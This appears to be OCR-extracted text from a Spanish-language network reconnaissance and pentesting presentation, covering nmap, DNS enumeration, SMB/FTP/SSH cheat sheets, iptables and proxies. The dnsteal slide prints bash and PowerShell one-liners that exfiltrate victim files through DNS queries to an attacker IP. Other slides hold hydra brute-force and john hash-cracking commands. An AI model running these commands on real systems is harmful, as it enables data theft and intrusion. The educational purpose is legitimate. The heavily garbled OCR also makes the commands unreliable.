<2 192.168.97.67 28:11:28:37:15:68 192.168.97.61  ff:ff:ff:ff:ff:ff
Jjomoza'notyourdevice  [/dev/pts/2] [130 192.168.97.67 28:11:a8:37:15:68 192.168.97.62  ff:ff:ff:ff:ff:ff
~1- nmap -sP 172.18.0.1/16 192.168.97.67 28:11:a8:37:15:68 192.168.97.63  ff:ff:ff:ff:ff:ff
Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-09 11:19 CEST 192.168.97.67 28:11:a8:37:15:68 192.168.97.64  ff:ff.ff:ff:ff:ff
Nmap scan report for 172.18.0.1 192.168.97.67 28:11:a8:37:15:68 192.168.97.65 ff:ff:ff:ff:ff:ff
Host is up (0.00038s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.66  ff:ff:ff:ff:ff:ff
Nmap scan report for 172.18.0.2 192.168.97.67 28:11:a8:37:15:68 192.168.97.67  ff:ff:ff:ff:ff:ff
Host is up (0.00037s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.68  ff:ff:ff:ff:ff:ff
Nmap scan report for 172.18.0.3 192.168.97.67 28:11:28:37:15:68 192.168.97.69  ff:ff:ff:ff:ff:ff
Host is up (0.00040s latency). 192.168.97.67 28:11:a8:37:15:68 192.168.97.70  ff:ff:ff:ffffff
192.168.97.67 28:11:a8:37:15:68 192.168.97.71  ff:ff:ff:ff:ff:ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.72  ff:ff:ff:ff:ff:ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.73  ff:ff:ff:ff:ff:ff
192.168.97.67 28:11:a8:37:15:68 192.168.97.74  ff:ff:ff:ff:ff:ff
192.168.0.46  74:c6:3b:a7:00:4d 192.168.0.41 00:00:00:00:00:00

rliomoza@notyourdevice] rllomoza@notyourdevice]
[/dev/pts/3] [/dev/pts/3]
L[~]> sudo nmap -sP 192.168.0.1/24 “[~]> sudo nmap 192.168.0.88

WGP UUNIS. | AF GUUI €33 (1 HIUDL Up) SLAIIITU LIl 1.2V STLUNud 192.108.U.45 28111:a8:13/7:15108 192.108.U.1 DUI4bITC:/b:I3Z:a8
jomoza'notyourdevice| |/dev/pts/2 192.168.0.1 b0:46:fc:76:32:a8 192.168.0.43 00:00:00:00:00:00
- nmap 192.168.0.88 192.168.0.45 28:11:a8:37:15:68 192.168.0.88 00:00:00:00:00:00

Starting Nmap 7.80 ( https://nmap.org ) at 2023-09-09 11:21 CEST 192.168.0.45 28:11:a8:37:15:68 192.168.0.88 00:00:00:00:00:00

Note: Host seems down. If it is really up, but blocking our ping probes, try -Pn 192.168.0.45 28:11:28:37:15:68 192.168.0.88 00:00:00:00:00:00

Nmap done: 1 IP address (0 hosts up) scanned in 3.02 seconds AL[1;3P192.168.0.46 74:c6:3b:a7:00:4d 192.168.0.38 00:00:00:00:00:00
jomozacnotyourdevice| [/dev/pts/2 192.168.0.46 74:c6:3b:a7:00:4d 192.168.0.38 00:00:00:00:00:00

1> [] |



NETWORK RECON. I'm not Strobe

- https://documentation.sailpoint.com/connectors/igservice/hel
/integrating_igservice_admin/ports_used_with_ad.html

- https://book.hacktricks.xyz/generic-methodologies-and-resou
rces/external-recon-methodolo

I only had a few ports open,
and not many people know

[:—(kaliEEkali)-[~]
$ nmap -sV -sC 10.0.9.4
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-02 16:35 EDT
Nmap scan report for 10.0.9.4
Host is up (0.00059s latency).
Not shown: 982 filtered tcp ports (no-response)

PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 8.5

| _http-server-header: Microsoft-IIS/8.5

| http-methods:

|_ Potentially risky methods: TRACE

|_http-title: 403 - Prohibido: acceso denegado.

88/tcp open kerberos-sec Microsoft Windows Kerberos (server ti
135/tcp open msrpc Microsoft Windows RPC

120/ /+Fn AnAn nathianc cen MirFrvnancaf+ Windauwe nathiac cen



https://documentation.sailpoint.com/connectors/iqservice/help/integrating_iqservice_admin/ports_used_with_ad.html
https://documentation.sailpoint.com/connectors/iqservice/help/integrating_iqservice_admin/ports_used_with_ad.html
https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology
https://book.hacktricks.xyz/generic-methodologies-and-resources/external-recon-methodology

NETWORK RECON. I'm not Strobe

#WHOIS (domain db os domains...)

#PING (icmp request)

#TRACEROUTE

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network



https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network

NETWORK RECON. I'm not Strobe

#WHOIS (domain db os domains...)

PING es una utilidad de red y un comando en
sistemas operativos que se utiliza para verificar la

#PING (icmp request) accesibilidad de un dispositivo en una red y para
medir el tiempo que tarda en recibir una respuesta de
ese dispositivo. Basicamente, PING envia un paquete
de datos a la direccién IP o el nombre de host

#TRACEROUTE especificado y espera una respuesta. Si recibe una
respuesta, significa que el dispositivo de destino esta
activo y accesible en la red. PING también
proporciona informacién sobre el tiempo que tarda en
viajar ida y vuelta el paquete de datos, lo que se
conoce como latencia.

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network



https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network

NETWORK RECON. I'm not Strobe

[[jomoza@notyourdevice] [/dev/pts/1] [100]
[~]1> whois digitechfp.com

#WHOIS (domain db 0s domains...) o e e
ooo Registry Domain ID: 2733498273_DOMAIN_COM-VRSN
Registrar WHOIS Server: https://www.arsys.es/dominios/whois
Registrar URL: http://www.arsys.es
Updated Date: 2023-10-22T07:16:01Z
Creation Date: 2022-10-21T12:21:16Z
Registry Expiry Date: 2024-10-21T12:21:16Z
Registrar: Arsys Internet, S.L. dba NICLINE.COM
- Registrar IANA ID: 379

#PING (lcmp req uest) Registrar Abuse Contact Email: abuse@nicline.com
Registrar Abuse Contact Phone: +34 941 620 100
Domain Status: ok https://icann.org/epp#ok
Name Server: DNS29.SERVIDORESDNS.NET
Name Server: DNS30.SERVIDORESDNS.NET
DNSSEC: unsigned
URL of the ICANN Whois Inaccuracy Complaint Form: https://www.icann.org/wicf/

>>> Last update of whois database: 2023-10-30T16:02:29Z <<<

#TRACEROUTE For more information on Whois status codes, please visit https://icann.org/epp

_n date displayed in this record is the date the

| ip of the domain name registration in the registry is
Ccuirently set wo expire. This date does not necessarily reflect the expiration
date of the domain name registrant's agreement with the sponsoring
registrar. Users may consult the sponsoring registrar's Whois database to
view the registrar's reported date of expiration for this registration.

TERMS OF USE: You are not authorized to access or query our Whois
database through the use of electronic processes that are high-volume and
automated except as reasonably necessary to register domain names or
modify existing registrations; the Data in VeriSign Global Registry
Services' ("VeriSign") Whois database is provided bv VeriSign for

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network



https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network

NETWORK RECON. I'm not Strobe

#WHOIS (domain db os domains...)

£l Protocolo de Mensajes de Control de Internet
(ICMP, por sus siglas en inglés) es un protocolo de red

#PING (icmp request) que se utiliza junto con PING y otras utilidades de red.
ICMP se utiliza para enviar mensajes de errory
control en la red, asi como para realizar pruebas de
conectividad. Cuando realizas un PING, estas

#TRACEROUTE utilizando el protocolo ICMP para enviar paquetes de
solicitud y recibir paquetes de respuesta.

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network



https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network

NETWORK RECON. I'm not Strobe

#WHOIS (domain db os domains...)

El comando "traceroute” (o "tracert" en sistemas

#PING (icmp request) Windows) es otra herramienta de diagnéstico de red
que se utiliza para determinar la ruta que toma un
paquete de datos desde tu computadora hasta un
destino especifico en la red. Traceroute muestra una

#TRACEROUTE lista de todos los enrutadores o nodos intermedios a
lo largo del camino y el tiempo que toma alcanzar
cada uno de ellos. Esto te ayuda a identificar cuellos
de botella, problemas de enrutamiento o retrasos en
la red.

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network



https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network

NETWORK RECON. I'm not Strobe

i i La principal diferencia entre PING y Traceroute es su
#WHOIS (domaln db (0153 domalns...) propésito y como funcionan:

- PING: PING se utiliza para verificar la conectividad
basica con un dispositivo en la red y medir la latencia.

#PING (icmp request) Muestra si el dispositivo de destino esta activo y
responde a las solicitudes. PING no muestra la ruta
que sigue un paquete para llegar al destino.

#TRACEROUTE - Traceroute: Traceroute se utiliza para rastrear la ruta
que toma un paquete desde tu computadora hasta un
destino en la red, mostrando todos los nodos
intermedios en el camino. Es util para identificar
problemas de enrutamiento, averiguar donde se
producen retrasos y comprender la topologia de la red
en el camino hacia el destino.

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network



https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain

This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network ‘
NetBIOS (Sistema de Entrada/Salida de Busqueda de Informacién de Red, por

sus siglas en inglés) es un protocolo de comunicacién de nivel de aplicacién

que se desarrollé originalmente por IBM y Sytek en la década de 1980 para
permitir que las computadoras en una red local se comuniquen entre si.
Aunque NetBIOS fue una tecnologia popular en su momento, en la actualidad,
es menos comun en redes modernas debido a la evolucién de las tecnologias ©
de red
-

https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network <



https://book.hacktricks.xyz/generic-methodologies-and-resources/pentesting-network

INTRODUCTION : SCAN BY PROTOCOLS

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain

This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network ‘

Informacion de nombres y recursos: NetBIOS puede exponer informacién

sobre los nombres de los dispositivos en la red, incluyendo nombres de

servidores, impresoras y recursos compartidos. Esto puede ayudar a un

atacante a identificar los servicios disponibles en la red. ‘
-
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#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain

This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network ‘

( s

Informacion de nombres y recursos: NetBIOS puede exponer informacién
sobre los nombres de los dispositivos en la red, incluyendo nombres de
servidores, impresoras y recursos compartidos. Esto puede ayudar a un
atacante a identificar los servicios disponibles en la red.

Vulnerabilidades de seqguridad: En el pasado, NetBIOS ha tenido
vulnerabilidades de seguridad significativas que podrian explotarse para
obtener acceso no autorizado a sistemas o recursos en la red.
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INTRODUCTION : SCAN BY PROTOCOLS

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain ,
This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network ; :
Informacion de nombres y recursos: NetBIOS puede exponer informacién

sobre los nombres de los dispositivos en la red, incluyendo nombres de

servidores, impresoras y recursos compartidos. Esto puede ayudar a un
atacante a identificar los servicios disponibles en la red.

Vulnerabilidades de seqguridad: En el pasado, NetBIOS ha tenido
vulnerabilidades de seguridad significativas que podrian explotarse para
obtener acceso no autorizado a sistemas o recursos en la red.

Herramientas de exploraciéon y reconocimiento: Existen herramientas y
comandos que utilizan el protocolo NetBIOS para descubrir informacién sobre
los sistemas en una red, como "nbtstat" en sistemas Windows.
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INTRODUCTION : SCAN BY PROTOCOLS

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain

This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

dig @DNS-SERVER domain.example.com # Test the configured DNS
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INTRODUCTION : SCAN BY PROTOCOLS

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain

This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

dig @DNS-SERVER domain.example.com # Test the configured DNS
e echo "addn-hosts=dnsmasq.hosts" > dnsmasqg.conf dnsmasq.conf

e echo"127.0.0.1 domain.example.com" > dnsmasq.hosts
e sudo dnsmasq -C dnsmasq.conf --no-daemon
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INTRODUCTION : SCAN BY PROTOCOLS

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain

This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

dig @DNS-SERVER domain.example.com # Test the configured DNS

e echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf dnsmasq.conf
e echo"127.0.0.1 domain.example.com" > dnsmasq.hosts
e sudo dnsmasq -C dnsmasq.conf --no-daemon

S
R

$ dig +short ns target.domain

namerserverl.DNS.domain

namerserver2.DNS.domain

$ dig axfr target.domain namerserver.DNS
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#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain

This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

dig @DNS-SERVER domain.example.com # Test the configured DNS
1. echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf dnsmasq.conf

2. echo"127.0.0.1 domain.example.com" > dnsmasq.hosts
3. sudo dnsmasq -C dnsmasq.conf --no-daemon

https://github.com/iphelix/dnschef e e e e

namerserverl.DNS.domain
namerserver2.DNS.domain
$ dig axfr target.domain namerserver.DNS
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INTRODUCTION : SCAN BY PROTOCOLS

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain

This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

dig @DNS-SERVER domain.example.com # Test the configured DNS
1. echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf dnsmasq.conf

2. echo"127.0.0.1 domain.example.com" > dnsmasq.hosts
3. sudo dnsmasq -C dnsmasq.conf --no-daemon

https://github.com/iphelix/dnschef e e e e

https://aithub.com/IncideDigital/Mistica namerserverl.DNS.domain
namerserver2.DNS.domain

$ dig axfr target.domain namerserver.DNS
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INTRODUCTION : SCAN BY PROTOCOLS

#NBT discovery : nbtscan -r 192.168.0.1/24 #Search in Domain

This is a command-line tool that scans for open NETBIOS nameservers on a local or remote TCP/IP network

dig @DNS-SERVER domain.example.com # Test the configured DNS

1. echo "addn-hosts=dnsmasq.hosts" > dnsmasq.conf dnsmasq.conf
2. echo"127.0.0.1 domain.example.com" > dnsmasq.hosts
3. sudo dnsmasq -C dnsmasq.conf --no-daemon

https://github.com/iphelix/dnschef e e e e

https://aithub.com/IncideDigital/Mistica namerserverl.DNS.domain
namerserver2.DNS.domain

https://qithub.com/JoelGMSec/Invoke-DNSteal $ dig axfr target.domain namerserverl.DNS
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Se trata de un servidor DNS falso que permite extraer sigilosamente archivos de una maquina victima a
través de peticiones DNS.
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- Compatibilidad con varios archivos
- Compatible con compresion gzip
- Ahora admite la personalizacion de subdominios y bytes por subdominio y la longitud del nombre de archivo
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INTRODUCTION : DNSTEAL - Convert Channels

Se trata de un servidor DNS falso que permite extraer sigilosamente archivos de una maquina victima a
través de peticiones DNS.

- Compatibilidad con varios archivos
- Compatible con compresion gzip
- Ahora admite la personalizacion de subdominios y bytes por subdominio y la longitud del nombre de archivo

https://github.com/m57/dnsteal

Lo packets caplureu
jomoza-s2g-cna : ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00: 00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: enp2s0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
Llink/ether bd:45:06:8b:db:d2 brd ff:ff:ff:ff:ff:ff
inet 192.168.0.34/24 brd 192.168.0.255 scope global dynamic noprefixroute enp2s®
valid_1ft 29559sec preferred_lft 29559sec
inet6 fdc3:bda6:5662:c682:eba:769f:7574:8ac5/64 scope global temporary dynamic
valid_1ft 1446sec preferred_1ft 1446sec
inet6 fdc3:bda6:5662:c682:dfad:11ff:5536:25ch/64 scope global dynamic mngtmpaddr noprefixroute
valid_lft 1446sec preferred_lft 1446sec
inet6 fe80::3a97:80e5:5ffa:e96f/64 scope link noprefixroute
valid_1ft forever proforrsﬂilﬁ' forever
3: wlp@s20f3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1508 qdisc nogueue state UP group default qlen 16
Llink/ether 70:a6:cc:08:cf:f5 brd ff:ff:ff:ff:ff:ff

inet6 fdc3:bda6:5662:c682:d371:878:d1c4:84f5/64 scope global temporary dynamic
valid_lft 1446sec preferred_lft 1446sec

inet6 fdc3:bda6:5662:c682:e54:339c:5cf3:85aa/64 scope global dynamic mngtmpaddr noprefixroute
valid_1ft 1446sec preferred 1ft 1446sec

inet6 feB0::4325:20db:e39d:1102/64 scope link noprefixroute
valid_lft forever preferred lft forever

5t dockerd: <NO-CARRIER,BROADCAST,HULTICAST, UP> mtu 1509 qdisc noqueue state DOWN group default
Fe

— Konsole v o

: jomoza-s2g-cna L ) L ste » sudo python2.7 dnsteal.py 192.168.0.43

I[NNI
0 R My e - 0 s |
[ SNSRI

-- https://github.com/m57/dnsteal.git --
Stealthy file extraction via DNS requests

[+] DNS listening on '192.168.0.43:53"
[+] On the victim machine, use any of the following commands:
[+] Remember to set filename for individual file transfer.

[?] Copy individual file

f=file.txt; s=4;b=57;c=0; for r in $(for i in $(base64 -wo $F| sed "s/.\{$b\}/&\n/g");do if [[ "$c" -1t "$s
11; then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\n$i-."; c=1; fi; done ); do dig @192.168.0.43 ‘echo -ne $r$
fltr "+ "*** +short; done

[?] Copy entire folder

for f in $(1s .); do s=4;b=57; for r in $(for i in $(base64 -wo $f | sed "s/.\{$b\}/&\n/g");do if [[ "$
c" -1t "$s" ]1]; then echo -ne "$i- c=$(($c+1)); else echo -ne "\n$i-."; c=1; fi; done ); do dig @192.168.0.43 "ec
ho -ne $r$f|tr "+" "*"' +short; done ; done

[?] Copy entire folder in PowerShell
$d="192.168.0.43"; $s=4; $b=57; Get-ChildItem "." | Foreach-Object {$a=$_.Name; $z = [System.I0.Filel::Read
AllBytes($_.FullName); $e = [System.Convert]::ToBase64String($z); $l=$e.Length; $r=""; $n=0; while ($n -le ($1/$b)) {
$c=$b; if (($n*$b)+$c -gt $1) { $c=$1-($n*$b) }; $r+=$e.Substring($n*$b, $c) + "-."; if (($n%$s) -eq ($s-1)) { nsloo
|kup -type=A $r$a. $d; $r="" } $n=$n+1 } nslookup -type=A $r$a. $d }

[+] Once files have sent, use Ctrl+C to exit and save.


https://github.com/m57/dnsteal

HACKER

What society thinks | do

felix/#rmap - -T4 scarme.nmap.org

Nmap run
felix/#

conpleted —— 1 IP address (1 host up) scanned in 27,003 seconds

What the government thinks | do What | think | do What | actually do



https://www.vicarius.io/blog/advanced-nmap-uses-part-3-firewall-evasion

sudo nbtscan

crackmapexec
crackmapexec
crackmapexec
crackmapexec
crackmapexec
crackmapexec
crackmapexec

#ent -L //IP

-r 192.168.50.0/24

smb
smb
smb
smb
smb
smb
smb

SMB enumeration

locate .nse | grep smb

nmap -p445 --script="name" $IP

<IP/range>

192.168.1.100
192.168.1.100
192.168.1.100
192.168.1.100
192.168.1.100
192.168.1.100

/‘server/share

cter/share

share

net view \\<computername/IP> /all

-u

-u

-u

-u

= ]
-u

username

username

username

username

username
username

-U <username>

-U domain/username

-p
-p
-p
-p
-p
-p

username> -p <password>

sername> -p <password> -d

password

password --shares

password --users

password --all

password -p 445 --shares

password -d mydomain --shares
<domain>

arname> -p <password> =i <sharevname>

FTP enumeration
ftp <IP>

put <file>
get <file>

locate .nse | grep ftp
nmap -p21 --script=<name> <IP>

hydra -L users.txt -P passwords.txt <IP> ftp

SSH enumeration

ssh uname@IP

chmod 600 id_rsa/id_ecdsa
ssh uname@IP -i id_rsa/id_ecdsa

ssh2john id_ecdsa(or)id_rsa > hash
john --wordlist=/home/sathvik/Wordlists/rockyou.txt hash

hydra -1 uname -P passwords.txt <IP> ssh



DNS enumeration

host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com

for ip in $(seq 200 254); do host 51.222.169.%ip; done | grep -v "not found"

dnsrecon -d megacorpone.com -t std
dnsrecon -d megacorpone.com -D ~/list.txt -t brt

dnsenum megacorpone.com

nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151

SMTP enumeration

nc -nv <IP> 25
smtp-user-enum -M VRFY -U username.txt -t <IP>

sudo swaks -t userl@test.com -t user2@test.com --from user3@test.com --server <mailserver-I




INTRODUCTION : IPTABLES

TRATAMIENTO DEL TRAFICO (IPTABLES)

Iptables y Reglas de Firewall:

Iptables es una herramienta de firewall en sistemas Linux que permite configurar reglas para
controlar el trafico de red, tanto entrante como saliente. Puede utilizarse para bloquear IPs
maliciosas, restringir el acceso a servicios y realizar tareas avanzadas de gestion de trafico.




INTRODUCTION : IPTABLES

TRATAMIENTO DEL TRAFICO (IPTABLES)

Iptables y Reglas de Firewall:

Iptables es una herramienta de firewall en sistemas Linux que permite configurar reglas para
controlar el trafico de red, tanto entrante como saliente. Puede utilizarse para bloquear IPs
maliciosas, restringir el acceso a servicios y realizar tareas avanzadas de gestion de trafico.

iptables -t nat -A PREROUTING -i eth@ -p tcp --dport 80 -j DNAT --to-destination 10.0.0.4:1080
iptables -t nat -A PREROUTING -i eth@ -p tcp --dport 443 -j DNAT --to-destination 10.0.0.4:1080
iptables -t nat -A PREROUTING -i eth@ -p tcp --dport 21 -j DNAT --to-destination 10.0.0.4:1080
iptables -t nat -A PREROUTING -i eth@ -p tcp --dport 53 -j DNAT --to-destination 10.0.0.4:1080
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INTRODUCTION : IPTABLES

TRATAMIENTO DEL TRAFICO (IPTABLES)

Iptables y Reglas de Firewall:

Iptables es una herramienta de firewall en sistemas Linux que permite configurar reglas para
controlar el trafico de red, tanto entrante como saliente. Puede utilizarse para bloquear IPs
maliciosas, restringir el acceso a servicios y realizar tareas avanzadas de gestion de trafico.

iptables -t nat -A PREROUTING -i
iptables -t nat -A PREROUTING -i
iptables -t nat -A PREROUTING -i
iptables -t nat -A PREROUTING -i

Y A BB

<# Esta regla enruta todo el

ethe -p tcp --dport 80 -j DNAT --to-destination 10.0.0.4:1080
ethe -p tcp --dport 443 -j DNAT --to-destination 10.0.0.4:1080
ethe -p tcp --dport 21 -j DNAT --to-destination 10.0.0.4:1080
ethe -p tcp --dport 53 -j DNAT --to-destination 10.0.0.4:1080

trafico saliente en el puerto 80 (HTTP) desde la

interfaz ethd a la IP del proxy SOCKS en 10.0.0.4 en el puerto 1080. Asegurate de

que la configuracion de tu proxy SOCKS esté en su lugar.>



INTRODUCTION : PROXY

Un PrOXY es un servidor intermedio que actiia como intermediario entre un cliente y un servidor final.

Su funcion principal es redirigir las solicitudes del cliente al servidor y devolver las respuestas del
servidor al cliente. Los proxies se utilizan con frecuencia para diversos propositos, como mejorar la

seguridad, el rendimiento o el acceso a recursos en linea.
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(generalmente un programa o una computadora) establecer una conexion a través de un servidor proxy.
Esto puede usarse para ocultar la direccion IP real del cliente, acceder a contenido bloqueado
geograficamente o para mejorar la seguridad en linea.



INTRODUCTION : PROXY

Un PrOXY es un servidor intermedio que actiia como intermediario entre un cliente y un servidor final.

Su funcion principal es redirigir las solicitudes del cliente al servidor y devolver las respuestas del
servidor al cliente. Los proxies se utilizan con frecuencia para diversos propositos, como mejorar la
seguridad, el rendimiento o el acceso a recursos en linea.

Un tipo de proxy muy comtun es el "proxy SOCKS" (abreviatura de "SOCKetS"), que permite a un cliente
(generalmente un programa o una computadora) establecer una conexion a través de un servidor proxy.
Esto puede usarse para ocultar la direccion IP real del cliente, acceder a contenido bloqueado
geograficamente o para mejorar la seguridad en linea.

- El comando SSH que mencionaste: "ssh -D <PUERTO> <IP>" se utiliza para configurar un proxy
SOCKS utilizando SSH. Aqui esta como funciona:
e <PUERTO> es el puerto en el que se configurara el proxy SOCKS en tu maquina local.
e <1p> es la direccion IP del servidor remoto (en este caso, un VPS) al que te estas conectando
a través de SSH.



INTRODUCTION : PROXY AS BYPASS

Chain DOCKER-USER (@ references)

num target prot opt source destination

jomoza-s2g-cna sudo iptables -F

jomoza-s2g-cna sudo iptables -D OUTPUT 1

iptables: Index of deletion too big.

jomoza-s2g-cna sudo iptables -A OUTPUT -d diq = -j DROP

= Google Traductor

Hp Texto B Imagenes B Documentos @ sitios web

Detectar idioma inglés espaifiol francés v inglés espafiol francés v

telefonica.es @ X telefonica.es &

i 13/5.000

https://translate.google.co
m/translate?sl=en&tl=es&h
|=es&u=https://digitechfp.c
omd&client=webapp



https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp
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https://translate.google.com/translate?sl=en&tl=es&hl=es&u=https://digitechfp.com&client=webapp
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INTRODUCTION : MORE IPTABLES

TRATAMIENTO DEL TRAFICO (IPTABLES)

Iptables y Reglas de Firewall:

Iptables es una herramienta de firewall en sistemas Linux que permite configurar reglas para
controlar el trafico de red, tanto entrante como saliente. Puede utilizarse para bloquear IPs
maliciosas, restringir el acceso a servicios y realizar tareas avanzadas de gestion de trafico.




INTRODUCTION : MORE IPTABLES

TRATAMIENTO DEL TRAFICO (IPTABLES)

Iptables y Reglas de Firewall:

Iptables es una herramienta de firewall en sistemas Linux que permite configurar reglas para
controlar el trafico de red, tanto entrante como saliente. Puede utilizarse para bloquear IPs
maliciosas, restringir el acceso a servicios y realizar tareas avanzadas de gestion de trafico.

kali@kalihost$ iptables -A INPUT -s IP_A BLOQUEAR -j DROP

Bloquear todo el trafico entrante de una IP en concreto :
Reemplaza IP_A BLOQUEAR con la direccion IP que deseas
bloquear. Esta regla evitara que cualquier trafico entrante de

esa IP acceda a tu servidor.




CAWINDOWS\system32\cmd.exe

C:\> EN NMAP

-sS: Esta es una opcidn que especifica la técnica de escaneo que se
utilizara. En este caso, -sS representa el escaneo de tipo SYN (SYN Scan).
El escaneo SYN es una técnica de escaneo de puertos que implica el envio de
paquetes SYN (solicitud de inicio de una conexidn) a los puertos del host
de destino. Si se recibe una respuesta SYN/ACK (solicitud de inicio
aceptada) del puerto, se considera que el puerto esta abierto. Si se recibe
un RST (restablecimiento de la conexidn), se considera que el puerto esta
cerrado.




nmap -sS -T4 -S 192.168.1.79 -e etho 192.168.1.78

Nuestro siguiente escaneo es donde vemos que tiene lugar el IP spoofing. Lo que esta sucediendo aqui es que estamos
enviando paquetes a nuestra maquina de destino y ponemos en el paquete que estamos enviando una IP de origen de una

maquina diferente.



nmap -sS -T4 -S 192.168.1.79 -e etho 192.168.1.78

Nuestro siguiente escaneo es donde vemos que tiene lugar el IP spoofing. Lo que esta sucediendo aqui es que estamos
enviando paquetes a nuestra maquina de destino y ponemos en el paquete que estamos enviando una IP de origen de una
maquina diferente.

~:zsh — Konsole v A X £ Capturing from wip0s20f3 v A X
Fila._Edit  View  RBookmarks.  Plugins  Settings  Heln File Edit Vie Capture  Analyze Statistics Telephony Wireless Tools Help
jomoza-s2g-cna :: » sudo nmap -T4 -S 192.168.1.105 -e wlp0s20f3 -Pn -sS 192.168.1.
39 Q D —

Starting Nmap 7.80 ( https://nmap.org ) at 2023-10-23 06:56 CEST

Starting Nmap /.80 ( https://nmap.org ) at 2023-10-23 Ub:56 CESI Jime Destination Protocol)Lengt | Infa

NSOCK ERROR [0.4550s] mksock_bind_addr(): Bind to 192.168.1.105:0 failed (I0D #1): C 756 19.216136865 Ao 192.168.1. cP 58 48794 /53 [SYN] Seq=0 Win=1624' Len=o M
annot assign requested address (99) 757 19.216157367 = ot 192.168.1. TCP 58 48794 - 443 [SYN] Seq=0 Win=1024 Len=0 |
758 19.216161351 .168.1. 192.168.1. Tcp 58 48794 . 3389 [SYN] Seq=0 Win=1024 Len=0
759 19.216165269 .168.1. 192.168.1. TCcP 58 48794 - 22 [SYN] Seq=0 Win=1024 Len=0 M
760 19.216168914 .168.1. 192.168.1. Tcp 58 48794 . 143 [SYN] Seq=0 Win=1024 Len=0 )
761 19.216172984 .168.1. 192.168.1. TCcP 58 48794 . 5900 [SYN] Seq=0 Win=1024 Len=0
762 19.216176546 .168.1. 192.168.1. TCcP 58 48794 - 993 [SYN] Seq=0 Win=1024 Len=0 }
- — 763 19.216180950 .168.1. 192.168.1. TCcP 58 48794 — 3306 [SYN] Seq=0 Win=1624 Len=0

3: wlp8s20f3: <BROADCAST,MULTIC 764 19.216184482 .168.1. 192.168.1. TCcP 58 48794 - 1025 [SYN] Seq=0 Win=1024 Len:
AST,UP,LOWER_UP> mtu 1500 qdisc 765 19.216188399 .168.1. 192.168.1. Tcp 58 48794 . 554 [SYN] Seq=0 Win=1024 Len=0 )
noqueue state UP group default 783 20.366444206 .168.1. 192.168.1. Tcp 58 48795 554 [SYN] Seq=0 Win=1024 Len=0 1
qlen 1000 784 20.366466881 .168.1. 192.168.1. TCcP 58 48795 . 1025 [SYN] Seq=0 Win=1024 Len=0

link/ether 70:a6:cc:08:cf:f D 5 z
S e 785 20.366471525 .168.1. 192.168.1. TCcp 58 48795 - 3306 [SYN] Seq=0 Win=1024 Len=0
inet 192.168.1.37/24 brd 19 786 20.366475525 .168.1. 192.168.1. Tcp 58 48795 ~ 993 [SYN] Seq=0 Win=1024 Len=0 1
2.168.1.255 scope alobal dynami | 787 20.366482372 .168.1. 192.168.1. TCcP 58 48795 — 5900 [SYN] Seq=0 Win=1624 Len=0

>-Differentiated Serv. 0 (DSCP: CS@, ECN: Not-ECT)
Total Length: 44
Identif n: Oxeec5 (61125)

: Fragment Offs
— —— Time to Live: 53
Protocol: TC

Header : 326 [validation disabled]

[Header Unverified]
Source Address: 192.168.1.105
Destination Address
2c 09 f3 2d 2b
5 00




https://qithub.com/medpaf/hawk

INTRODUCTION : LIBS AND TOOLS



https://github.com/medpaf/hawk

https://qithub.com/medpaf/hawk

INTRODUCTION : LIBS AND TOOLS

jomoza-s2g-cna :: ~/Documents/TOOLS » git clone https://github.com/medpaf/hawk
Cloning into 'hawk’'...

remote: Enumerating objects: 2559, done.

remote: Counting objects: 100% (324/324), done.

